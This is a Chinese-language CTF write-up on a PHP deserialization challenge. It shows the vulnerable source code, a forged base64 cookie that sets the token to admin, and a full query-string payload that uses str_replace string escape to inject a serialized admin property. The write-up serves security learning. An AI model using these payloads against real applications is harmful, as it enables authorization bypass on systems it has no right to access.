(也是一篇非纯正题解,记录的是个人的一些思路和想法【虽然也没啥想法】)
一:初步尝试
进去之后看到的是这些东西:
php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
这里可以看到有一个是str replace,是将fuck改为loveU,然后写在msg里面,后面又把这个设为一个cookie并进行base64编码,其实我刚开始的时候也是很懵的,这个序列化的msg好像没什么用,然后在想会不会有什么其他的东西,于是dirsearch扫了一下,发现了这么一个:

(虽然一般这种都是纯坑人的,但还是点进去看了一下,然后确实什么都没有)
然后再回到代码里去看,细心的话可以看到注释部分多了一个message.php【我从来都没关注过这个】,然后去访问了一下message.php是这样的:
php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
这个满足 $msg->token=='admin' 即可,vscode里跑一下:
php
<?php
class message{
public $token='admin';
}
$a= new message();
echo base64_encode(serialize($a));
结果如下,再放到cookie里面就行了:
php
Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

然后这里有一个问题就是为什么我用dirsearch扫不出来message.php, 这个我觉得可能是diresarch的字典里面本身没有message.php,我加了个-u php之后只显示了**flag.php,**所以真要扫还得增加字典,但是不知道为什么我加了字典还是扫不出来,望知道的师傅能解答。
二:真实方法
这里用的方法是字符串逃逸问题:
最关键的部分是这里: umsg = str_replace('fuck', 'loveU', serialize(msg));
这里就是如果msg里面有fuck,那么就会将其替换为loveU,这样就会多出来一个字符,如果假设我们传入的t是fuck,那么后面就会替换成loveU:
php
fuck";s:5:"token";s:5:"admin";}
loveU";s:5:"token";s:5:"admin";}
而php的读取逻辑是:
php
s:4:"loveU";
↑↑↑↑
只读 4 个字符
那么最后面会多出来U", 最关键的来了,它会被当成"新的 PHP 语法结构"继续解析!
【对象反序列化时,同名属性,后出现的覆盖前面的】
原来 token 是 user,因为字符串替换导致长度不匹配,多出来的内容被当成"新的反序列化结构",而这个结构里我们伪造了一个 token = admin,反序列化时"后面的同名属性覆盖前面的",所以最终 token 变成了 admin。
然后就是要对齐结构 ,一次 fuck → loveU 只多 1 个字节,不够我们完整地插**token";s:5:"admin"** 这种结构,所以必须用多个 fuck 来"攒长度"。然后就是看字符串的长度了,这里同样也有一个十分重要的点:
php
";s:5:"token";s:5:"admin";} //这个最前面的 " 是必须的
一共27,是 "刚好完整逃逸 + 正确闭合结构", 因此我们最终的payload为**:**
php
?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后再访问message.php即可得到flag:

最后的最后可能有人会问为什么是放在t里面可不可以是m或者f那边,在这里面是绝对不能的,因为PHP 反序列化是顺序解析 的,我们在哪个字段制造"长度逃逸",就会污染它后面的所有结构。而t是离token最近、又不会污染其他字段的最佳逃逸点。
三:总结
这是一道典型的PHP serialize + str_replace = 属性注入 ,通过这道题,我们了解了什么是字符串逃逸,以及如何选择和构造字符串逃逸 ,如果这里不能偷鸡 即一定要进行字符串逃逸话的题目要加上相应限制如**不能直接控制 cookie【**cookie 是程序生成的】token是protected/private或者有wakeup()检查
又是受益匪浅的一天~